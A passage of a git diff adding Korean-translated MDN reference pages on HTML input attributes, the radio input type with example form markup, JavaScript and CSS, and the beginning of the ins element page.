+let guestName = form.elements.guest;
+let hatSize = form.elements["hat-size"];
+</pre>
+
+ <p>When this code has run, <code>guestName</code> will be the {{domxref("HTMLInputElement")}} for the <code>guest</code> field, and <code>hatSize</code> the object for the <code>hat-size</code> field.</p>
+
+ <div class="warning">
+ <p><strong>Warning:</strong> You should avoid giving form elements a <code>name</code> that corresponds to a built-in property of the form, since you would then override the predefined property or method with this reference to the corresponding input.</p>
+ </div>
+ </dd>
+ <dt id="htmlattrdefpattern">{{htmlattrdef("pattern")}}</dt>
+ <dd>
+ <div id="pattern-include">
+ <p>The <code>pattern</code> attribute, when specified, is a regular expression that the input's {{htmlattrxref("value")}} must match in order for the value to pass <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a>. It must be a valid JavaScript regular expression, as used by the {{jsxref("RegExp")}} type, and as documented in our <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">guide on regular expressions</a>; the <code>'u'</code> flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text.</p>
+
+ <p>If the <code>pattern</code> attribute is present but is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. If the pattern attribute is valid and a non-empty value does not match the pattern, constraint validation will prevent form submission.</p>
+
+ <div class="note">
+ <p><strong>Tip:</strong> If using the <code>pattern</code> attribute, inform the user about the expected format by including explanatory text nearby. You can also include a {{htmlattrxref("title", "input")}} attribute to explain what the requirements are to match the pattern; most browsers will display this title as as a tooltip The visible explanation is required for accessibilty. The tooltip is an enhancement.</p>
+ </div>
+ </div>
+
+ <p>See {{anch("Client-side validation")}} for more information.</p>
+ </dd>
+ <dt id="htmlattrdefplaceholder">{{htmlattrdef("placeholder")}}</dt>
+ <dd>
+ <p>The <code>placeholder</code> attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text <em>must not</em> include carriage returns or line feeds.</p>
+
+ <div class="note">
+ <p><strong>Note:</strong> The <code>placeholder</code> attribute is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See {{SectionOnPage("/en-US/docs/Web/HTML/Element/input", "Labels and placeholders")}} for more information.</p>
+ </div>
+ </dd>
+ <dt id="htmlattrdefreadonly">{{htmlattrdef("readonly")}}</dt>
+ <dd>
+ <p>A Boolean attribute which, if present, indicates that the user should not be able to edit the value of the input. The <code>readonly</code> attribute is supported <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, <code>date</code>, <code>month</code>, <code>week</code>, <code>time</code>, <code>datetime-local</code>, <code>number</code>, and <code>password</code> input types.</p>
+
+ <p>See the <a href="/en-US/docs/Web/HTML/Attributes/readonly">HTML attribute: <code>readonly</code></a> for more information.</p>
+ </dd>
+ <dt id="htmlattrdefrequired">{{htmlattrdef("required")}}</dt>
+ <dd>
+ <p><code>required</code> is a Boolean attribute which, if present, indicates that the user must specify a value for the input before the owning form can be submitted. The <code>required</code> attribute is supported <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, <code>date</code>, <code>month</code>, <code>week</code>, <code>time</code>, <code>datetime-local</code>, <code>number</code>, <code>password</code>, <code>checkbox</code>, <code>radio</code>, and <code>file</code>.</p>
+
+ <p>See {{anch("Client-side validation")}} and the <a href="/en-US/docs/Web/HTML/Attributes/required">HTML attribute: <code>required</code></a> for more information.</p>
+ </dd>
+ <dt id="htmlattrdefsize">{{htmlattrdef("size")}}</dt>
+ <dd>Valid for <code>email</code>, <code>password</code>, <code>tel</code>, and text <code>input</code> types only. Specifies how much of the input is shown. Basically creates same result as setting CSS <code>width</code> property with a few specialities. The actual unit of the value depends on the input type. For password and text it's number of characters (or <code>em</code> units) and <code>pixel</code>s for others. CSS width takes precedence over size attribute.</dd>
+ <dt id="htmlattrdefsrc">{{htmlattrdef("src")}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> input button only, the <code>src</code> is string specifying the URL of the image file to display to represent the graphical submit button. See the {{HTMLElement("input/image", "image")}} input type.</p>
+ </dd>
+ <dt id="htmlattrdefstep">{{htmlattrdef("step")}}</dt>
+ <dd>
+ <div id="step-include">
+ <p>Valid for the numeric input types, including <code>number</code>, date/time input types, and <code>range</code>, the <code><a href="/en-US/docs/Web/HTML/Attributes/step">step</a></code> attribute is a number that specifies the granularity that the value must adhere to.</p>
+
+ <p>If not explicitly included, <code>step</code> defaults to 1 for <code>number</code> and <code>range</code>, and 1 unit type (second, week, month, day) for the date/time input types. The value can must be a positive number - integer or float -- or the special value <code>any</code>, which means no stepping is implied, and any value is allowed (barring other constraints, such as <code>{{anch("min")}}</code> and <code>{{anch("max")}}</code>).</p>
+
+ <p>If <code>any</code> is not explicity set, valid values for the <code>number</code>, date/time input types, and <code>range</code> input types are equal to the basis for stepping - the <code>{{anch("min")}}</code> value and increments of the step value, up to the <code>{{anch("max")}}</code> value, if specified. For example, if we have <code>&lt;input type="number" min="10" step="2"&gt;</code> any even integer, 10 or great, is valid. If omitted, <code>&lt;input type="number"&gt;</code>, any integer is valid, but floats, like 4.2, are not valid, as <code>step</code> defaults to 1. For 4.2 to be valid, <code>step</code> would have had to be set to <code>any</code>, 0.1, 0.2, or any the min value would have had to be a number ending in .2, such as <code>&lt;input type="number" min="-5.2"&gt;</code></p>
+
+ <div class="note">
+ <p><strong>Note:</strong> When the data entered by the user doesn't adhere to the stepping configuration, the value is considered invalid in contraint validation and will match the :invalid pseudoclass</p>
+ </div>
+ </div>
+
+ <p>The default stepping value for <code>number</code> inputs is 1, allowing only integers to be entered, <em>unless</em> the stepping base is not an integer. The default stepping value for <code>time</code> is 1 second, with 900 being equal to 15 minutes.</p>
+
+ <p>See {{anch("Client-side validation")}} for more information.</p>
+ </dd>
+ <dt id="htmlattrdeftype">{{htmlattrdef("tabindex")}}</dt>
+ <dd>
+ <p>Global attribute valid for all elements, including all the input types, an integer attribute indicating if the element can take input focus (is focusable), if it should participate to sequential keyboard navigation. As all input types except for input of type hidden are focusable, this attribute should not be used on form controls, because doing so would require the management of the focus order for all elements within the document with the risk of harming usability and accessibility if done incorrectly.</p>
+ </dd>
+ <dt id="htmlattrdefformenctype">{{htmlattrdef('title')}}</dt>
+ <dd>
+ <p>Global attribute valid for all elements, including all input types, containing a text representing advisory information related to the element it belongs to. Such information can typically, but not necessarily, be presented to the user as a tooltip. The title should NOT be used as the primary explanation of the purpose of the form control. Instead, use the {{htmlelement('label')}} element with a <code>for</code> attribute set to the form control's {{htmlattrdef('id')}} attribute. See {{anch("Labels")}} below.</p>
+ </dd>
+ <dt id="htmlattrdeftype">{{htmlattrdef("type")}}</dt>
+ <dd>
+ <p>A string specifying the type of control to render. For example, to create a checkbox, a value of <code>checkbox</code> is used. If omitted (or an unknown value is specified), the input type <code>text</code> is used, creating a plaintext input field.</p>
+
+ <p>Permitted values are listed in {{anch("&lt;input&gt; types")}} above.</p>
+ </dd>
+ <dt id="htmlattrdefvalue">{{htmlattrdef("value")}}</dt>
+ <dd>
+ <p>The input control's value. When specified in the HTML, this is the initial value, and from then on it can be altered or retrieved at any time using JavaScript to access the respective {{domxref("HTMLInputElement")}} object's <code>value</code> property. The <code>value</code> attribute is always optional, though should be considered mandatory for <code>checkbox</code>, <code>radio</code>, and <code>hidden</code>.</p>
+ </dd>
+ <dt id="htmlattrdefwidth">{{htmlattrdef("width")}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> input button only, the <code>width</code> is the width of the image file to display to represent the graphical submit button. See the {{HTMLElement("input/image", "image")}} input type.</p>
+ </dd>
+</dl>
+
+<h3 id="Non-standard_attributes">Non-standard attributes</h3>
+
+<p>The following non-standard attributes are also available on some browsers. As a general rule, you should avoid using them unless it can't be helped.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("autocorrect")}}</code></td>
+   <td>A string indicating whether or not autocorrect is <code>on</code> or <code>off</code>. <strong>Safari only.</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("incremental")}}</code></td>
+   <td>Whether or not to send repeated {{event("search")}} events to allow updating live search results while the user is still editing the value of the field. <strong>WebKit and Blink only (Safari, Chrome, Opera, etc.).</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("mozactionhint")}}</code></td>
+   <td>A string indicating the type of action that will be taken when the user presses the <kbd>Enter</kbd> or <kbd>Return</kbd> key while editing the field; this is used to determine an appropriate label for that key on a virtual keyboard. <strong>Firefox for Android only.</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("orient")}}</code></td>
+   <td>Sets the orientation of the range slider. <strong>Firefox only.</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("results")}}</code></td>
+   <td>The maximum number of items that should be displayed in the drop-down list of previous search queries. <strong>Safari only.</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("webkitdirectory")}}</code></td>
+   <td>A Boolean indicating whether or not to only allow the user to choose a directory (or directories, if <code>{{anch("multiple")}}</code> is also present)</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>{{htmlattrdef("autocorrect")}} {{non-standard_inline}}</dt>
+ <dd>{{page("/en-US/docs/Web/HTML/Element/input/text", "autocorrect-include")}}</dd>
+ <dt>{{htmlattrdef("incremental")}} {{non-standard_inline}}</dt>
+ <dd>{{page("/en-US/docs/Web/HTML/Element/input/search", "incremental-include")}}</dd>
+ <dt>{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</dt>
+ <dd>{{page("/en-US/docs/Web/HTML/Element/input/text", "mozactionhint-include")}}</dd>
+ <dt>{{htmlattrdef("orient")}} {{non-standard_inline}}</dt>
+ <dd>{{page("/en-US/docs/Web/HTML/Element/input/range", "orient-include")}}</dd>
+ <dt>{{htmlattrdef("results")}} {{non-standard_inline}}</dt>
+ <dd>{{page("/en-US/docs/Web/HTML/Element/input/search", "results-include")}}</dd>
+ <dt>{{htmlattrdef("webkitdirectory")}} {{non-standard_inline}}</dt>
+ <dd>{{page("/en-US/docs/Web/HTML/Element/input/file", "webkitdirectory-include")}}</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="A_simple_input_box">A simple input box</h3>
+
+<pre class="brush: html notranslate">&lt;!-- A basic input --&gt;
+&lt;input type="text" name="input" value="Type here"&gt;
+</pre>
+
+<p><input></p>
+
+<h3 id="A_common_use-case_scenario">A common use-case scenario</h3>
+
+<pre class="brush: html notranslate">&lt;!-- A common form that includes input tags --&gt;
+&lt;form action="getform.php" method="get"&gt;
+    &lt;label&gt;First name: &lt;input type="text" name="first_name" /&gt;&lt;/label&gt;&lt;br /&gt;
+    &lt;label&gt;Last name: &lt;input type="text" name="last_name" /&gt;&lt;/label&gt;&lt;br /&gt;
+    &lt;label&gt;E-mail: &lt;input type="email" name="user_email" /&gt;&lt;/label&gt;&lt;br /&gt;
+    &lt;input type="submit" value="Submit" /&gt;
+&lt;/form&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-input-element.html#the-input-element', '&lt;input&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-input-element', '&lt;input&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.4', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.input")}}</p>
diff --git a/files/ko/web/html/element/input/radio/index.html b/files/ko/web/html/element/input/radio/index.html
new file mode 100644
index 0000000000..827c5005d5
--- /dev/null
+++ b/files/ko/web/html/element/input/radio/index.html
@@ -0,0 +1,367 @@
+---
+title: <input type="radio">
+slug: Web/HTML/Element/Input/radio
+tags:
+  - Element
+  - HTML
+  - HTML Input Types
+  - HTML forms
+  - HTML input
+  - Input
+  - Input Types
+  - Reference
+  - 라디오
+  - 라디오 그룹
+  - 라디오 버튼
+translation_of: Web/HTML/Element/input/radio
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong><code>radio</code></strong> 유형의 {{htmlelement("input")}} 요소는 보통 서로 관련된 옵션을 나타내는 라디오 버튼 콜렉션, <strong>라디오 그룹</strong>에 사용합니다.</span> 임의의 그룹 내에서는 동시에 하나의 라디오 버튼만 선택할 수 있습니다. 라디오 버튼은 흔히 원형으로 그려지며, 선택한 경우 속을 채우거나 강조 표시를 합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-radio.html", "tabbed-standard")}}</div>
+
+
+
+<div id="Basic_example">
+<p>오래된 라디오의 버튼과 비슷한 형태와 동작 방식을 가졌기에 라디오 버튼이라고 부릅니다.</p>
+
+<p><img alt="Shows what radio buttons looked like in the olden days." src="https://mdn.mozillademos.org/files/15610/old-radio.jpg" style="height: 400px; width: 600px;" title="Photo of an old-time radio"></p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: <a href="/ko/docs/Web/HTML/Element/input/checkbox">체크박스</a>도 라디오 버튼과 비슷하지만 중요한 차이점이 하나 있습니다. 라디오 버튼은 여러 값에서 단 하나만 선택할 때 사용하지만, 체크박스는 각각의 값을 켜고 끌 수 있다는 점입니다. 다수의 컨트롤이 존재할 때 라디오 버튼은 전체에서 하나를 허용하고, 체크박스는 여러 개 선택을 허용합니다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("값")}}</strong></td>
+   <td>라디오 버튼의 값을 나타내는 {{domxref("DOMString")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>이벤트</strong></td>
+   <td>{{event("change")}}, {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>지원하는 공통 특성</strong></td>
+   <td><code>checked</code>, <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>IDL 특성</strong></td>
+   <td><code>{{anch("checked")}}</code>, <code>{{anch("value")}}</code></td>
+  </tr>
+  <tr>
+   <td><strong>메서드</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="값">값</h2>
+
+<p>The <code>value</code> attribute is a {{domxref("DOMString")}} containing the radio button's value. The value is never shown to the user by their {{Glossary("user agent")}}. Instead, it's used to identify which radio button in a group is selected.</p>
+
+<h3 id="라디오_그룹_정의하기">라디오 그룹 정의하기</h3>
+
+<p>A radio group is defined by giving each of radio buttons in the group the same {{htmlattrxref("name", "input")}}. Once a radio group is established, selecting any radio button in that group automatically deselects any currently-selected radio button in the same group.</p>
+
+<p>You can have as many radio groups on a page as you like, as long as each has its own unique <code>name</code>.</p>
+
+<p>For example, if your form needs to ask the user for their preferred contact method, you might create three radio buttons, each with the <code>name</code> property set to <code>contact</code> but one with the {{htmlattrxref("value", "input")}} <code>email</code>, one with the value <code>phone</code>, and one with the value <code>mail</code>. The user never sees the <code>value</code> or the <code>name</code> (unless you expressly add code to display it).</p>
+
+<p>The resulting HTML looks like this:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;p&gt;Please select your preferred contact method:&lt;/p&gt;
+  &lt;div&gt;
+    &lt;input type="radio" id="contactChoice1"
+     name="contact" value="email"&gt;
+    &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+
+    &lt;input type="radio" id="contactChoice2"
+     name="contact" value="phone"&gt;
+    &lt;label for="contactChoice2"&gt;Phone&lt;/label&gt;
+
+    &lt;input type="radio" id="contactChoice3"
+     name="contact" value="mail"&gt;
+    &lt;label for="contactChoice3"&gt;Mail&lt;/label&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button type="submit"&gt;Submit&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Here you see the three radio buttons, each with the <code>name</code> set to <code>contact</code> and each with a unique <code>value</code> that uniquely identifies that individual radio button within the group. They each also have a unique {{domxref("Element.id", "id")}}, which is used by the {{HTMLElement("label")}} element's {{htmlattrxref("for", "label")}} attribute to associate the labels with the radio buttons.</p>
+
+<p>You can try out this example here:</p>
+
+<p>{{EmbedLiveSample('Defining_a_radio_group', 600, 130)}}</p>
+
+<h3 id="라디오_그룹의_데이터_표현">라디오 그룹의 데이터 표현</h3>
+
+<p>When the above form is submitted with a radio button selected, the form's data includes an entry in the form <code>contact=<var>value</var></code>. For example, if the user clicks on the "Phone" radio button then submits the form, the form's data will include the line <code>contact=phone</code>.</p>
+
+<p>If you omit the <code>value</code> attribute in the HTML, the submitted form data assigns the value <code>on</code> to the group. In this scenario, if the user clicked on the "Phone" option and submitted the form, the resulting form data would be <code>contact=on</code>, which isn't helpful. So don't forget to set your <code>value</code> attributes!</p>
+
+<div class="note">
+<p><strong>Note</strong>: If no radio button is selected when the form is submitted, the radio group is not included in the submitted form data at all, since there is no value to report.</p>
+</div>
+
+<p>It's fairly uncommon to actually want to allow the form to be submitted without any of the radio buttons in a group selected, so it is usually wise to have one default to the <code>checked</code> state. See {{anch("Selecting a radio button by default")}} below.</p>
+
+<p>Let's add a little bit of code to our example so we can examine the data generated by this form. The HTML is revised to add a {{HTMLElement("pre")}} block to output the form data into:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;p&gt;Please select your preferred contact method:&lt;/p&gt;
+  &lt;div&gt;
+    &lt;input type="radio" id="contactChoice1"
+           name="contact" value="email"&gt;
+    &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+    &lt;input type="radio" id="contactChoice2"
+           name="contact" value="phone"&gt;
+    &lt;label for="contactChoice2"&gt;Phone&lt;/label&gt;
+    &lt;input type="radio" id="contactChoice3"
+           name="contact" value="mail"&gt;
+    &lt;label for="contactChoice3"&gt;Mail&lt;/label&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button type="submit"&gt;Submit&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;
+&lt;pre id="log"&gt;
+&lt;/pre&gt;
+</pre>
+
+<p>Then we add some <a href="/en-US/docs/Web/JavaScript">JavaScript</a> to set up an event listener on the {{domxref("HTMLFormElement/submit_event", "submit")}} event, which is sent when the user clicks the "Submit" button:</p>
+
+<pre class="brush: js">var form = document.querySelector("form");
+var log = document.querySelector("#log");
+
+form.addEventListener("submit", function(event) {
+  var data = new FormData(form);
+  var output = "";
+  for (const entry of data) {
+    output = output + entry[0] + "=" + entry[1] + "\r";
+  };
+  log.innerText = output;
+  event.preventDefault();
+}, false);</pre>
+
+<p>Try this example out and see how there's never more than one result for the <code>contact</code> group.</p>
+
+<p>{{EmbedLiveSample("Data_representation_of_a_radio_group", 600, 130)}}</p>
+
+<h2 id="추가_특성">추가 특성</h2>
+
+<p>In addition to the common attributes shared by all {{HTMLElement("input")}} elements, <code>radio</code> inputs support the following attributes:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("checked")}}</code></td>
+   <td>A Boolean indicating whether or not this radio button is the currently-selected item in the group</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("value")}}</code></td>
+   <td>The string to use as the value of the radio when submitting the form, if the radio is currently toggled on</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefchecked">{{htmlattrdef("checked")}}</h3>
+
+<p>A Boolean attribute which, if present, indicates that this radio button is the currently selected one in the group.</p>
+
+<p>Unlike other browsers, Firefox by default <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persists the dynamic checked state</a> of an <code>&lt;input&gt;</code> across page loads. Use the {{htmlattrxref("autocomplete","input")}} attribute to control this feature.</p>
+
+<h3 id="htmlattrdefvalue">{{htmlattrdef("value")}}</h3>
+
+<p>The <code>value</code> attribute is one which all {{HTMLElement("input")}}s share; however, it serves a special purpose for inputs of type <code>radio</code>: when a form is submitted, only radio buttons which are currently checked are submitted to the server, and the reported value is the value of the <code>value</code> attribute. If the <code>value</code> is not otherwise specified, it is the string <code>on</code> by default. This is demonstrated in the section {{anch("Value")}} above.</p>
+
+<h2 id="라디오_입력_칸_사용하기">라디오 입력 칸 사용하기</h2>
+
+<p>We already covered the fundamentals of radio buttons above. Let's now look at the other common radio-button-related features and techniques you may need to know about.</p>
+
+<h3 id="기본_선택_항목_지정하기">기본 선택 항목 지정하기</h3>
+
+<p>To make a radio button selected by default, you simply include <code>checked</code> attribute, as shown in this revised version of the previous example:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;p&gt;Please select your preferred contact method:&lt;/p&gt;
+  &lt;div&gt;
+    &lt;input type="radio" id="contactChoice1"
+     name="contact" value="email" checked&gt;
+    &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+
+    &lt;input type="radio" id="contactChoice2"
+     name="contact" value="phone"&gt;
+    &lt;label for="contactChoice2"&gt;Phone&lt;/label&gt;
+
+    &lt;input type="radio" id="contactChoice3"
+     name="contact" value="mail"&gt;
+    &lt;label for="contactChoice3"&gt;Mail&lt;/label&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button type="submit"&gt;Submit&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('기본_선택_항목_지정하기', 600, 130)}}</p>
+
+<p>In this case, the first radio button is now selected by default.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you put the <code>checked</code> attribute on more than one radio button, later instances will override earlier ones; that is, the last <code>checked</code> radio button will be the one that is selected. This is because only one radio button in a group can ever be selected at once, and the user agent automatically deselects others each time a new one is marked as checked.</p>
+</div>
+
+<h3 id="라디오_버튼의_클릭_범위_키우기">라디오 버튼의 클릭 범위 키우기</h3>
+
+<p>In the above examples, you may have noticed that you can select a radio button by clicking on its associated {{htmlelement("label")}} element, as well as on the radio button itself. This is a really useful feature of HTML form labels that makes it easier for users to click the option they want, especially on small-screen devices like smartphones.</p>
+
+<p>Beyond accessibility, this is another good reason to properly set up <code>&lt;label&gt;</code> elements on your forms.</p>
+
+<h2 id="유효성_검사">유효성 검사</h2>
+
+<p>Radio buttons don't participate in constraint validation; they have no real value to be constrained.</p>
+
+<h2 id="스타일링">스타일링</h2>
+
+<p>The following example shows a slightly more thorough version of the example we've seen throughout the article, with some additional styling, and with better semantics established through use of specialized elements. The HTML looks like this:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Please select your preferred contact method:&lt;/legend&gt;
+    &lt;div&gt;
+      &lt;input type="radio" id="contactChoice1"
+       name="contact" value="email" checked&gt;
+      &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+
+      &lt;input type="radio" id="contactChoice2"
+       name="contact" value="phone"&gt;
+      &lt;label for="contactChoice2"&gt;Phone&lt;/label&gt;
+
+      &lt;input type="radio" id="contactChoice3"
+       name="contact" value="mail"&gt;
+      &lt;label for="contactChoice3"&gt;Mail&lt;/label&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;button type="submit"&gt;Submit&lt;/button&gt;
+    &lt;/div&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>There's not much new to note here except for the addition of {{htmlelement("fieldset")}} and {{htmlelement("legend")}} elements, which help to group the functionality nicely and in a semantic way.</p>
+
+<p>The CSS involved is a bit more significant:</p>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+div:first-of-type {
+  display: flex;
+  align-items: flex-start;
+  margin-bottom: 5px;
+}
+
+label {
+  margin-right: 15px;
+  line-height: 32px;
+}
+
+input {
+  -webkit-appearance: none;
+  -moz-appearance: none;
+  appearance: none;
+
+  border-radius: 50%;
+  width: 16px;
+  height: 16px;
+
+  border: 2px solid #999;
+  transition: 0.2s all linear;
+  margin-right: 5px;
+
+  position: relative;
+  top: 4px;
+}
+
+input:checked {
+  border: 6px solid black;
+}
+
+button,
+legend {
+  color: white;
+  background-color: black;
+  padding: 5px 10px;
+  border-radius: 0;
+  border: 0;
+  font-size: 14px;
+}
+
+button:hover,
+button:focus {
+  color: #999;
+}
+
+button:active {
+  background-color: white;
+  color: black;
+  outline: 1px solid black;
+}</pre>
+
+<p>Most notable here is the use of the {{cssxref("-moz-appearance")}} property (with prefixes needed to support some browsers). By default, radio buttons (and <a href="/en-US/docs/Web/HTML/Element/input/checkbox">checkboxes</a>) are styled with the operating system's native styles for those controls. By specifying <code>appearance: none</code>, you can remove the native styling altogether, and create your own styles for them. Here we've used a {{cssxref("border")}} along with {{cssxref("border-radius")}} and a {{cssxref("transition")}} to create a nice animating radio selection. Notice also how the {{cssxref(":checked")}} pseudo-class is used to specify the styles for the radio button's appearance when selected.</p>
+
+<div class="note">
+<p><strong>Compatibility note</strong>: If you wish to use the {{cssxref("appearance")}} property, you should test it very carefully. Although it is supported in most modern browsers, its implementation varies widely. In older browsers, even the keyword <code>none</code> does not have the same effect across different browsers, and some do not support it at all. The differences are smaller in the newest browsers.</p>
+</div>
+
+<p>{{EmbedLiveSample('Styling_radio_inputs', 600, 120)}}</p>
+
+<p>Notice that when clicking on a radio button, there's a nice, smooth fade out/in effect as the two buttons change state. In addition, the style and coloring of the legend and submit button are customized to have strong contrast. This might not be a look you'd want in a real web application, but it definitely shows off the possibilities.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#radio-button-state-(type=radio)', '&lt;input type="radio"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#radio-button-state-(type=radio)', '&lt;input type="radio"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-radio")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}} and the {{domxref("HTMLInputElement")}} interface that implements it.</li>
+ <li>{{domxref("RadioNodeList")}}: the interface that describes a list of radio buttons</li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Compatibility of CSS properties</a></li>
+</ul>
diff --git a/files/ko/web/html/element/ins/index.html b/files/ko/web/html/element/ins/index.html
new file mode 100644
index 0000000000..669da42046
--- /dev/null
+++ b/files/ko/web/html/element/ins/index.html
@@ -0,0 +1,137 @@
+---
+title: <ins>
+slug: Web/HTML/Element/ins
+tags:
+  - Element
+  - HTML
+  - HTML edits
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/ins
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;ins&gt;</code> 요소</strong>는 문서에 추가된 텍스트의 범위를 나타냅니다.</span> {{htmlelement("del")}} 요소를 사용하면 삭제된 텍스트의 범위를 나타낼 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ins.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>투명.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLModElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a><span style="line-height: 21px;">을 포함</span>합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>회의록, 이슈 추적 시스템의 티켓 번호 등 변경점을 설명하는 리소스의 {{glossary("URI")}}.</dd>
+ <dt>{{htmlattrdef("datetime")}}</dt>
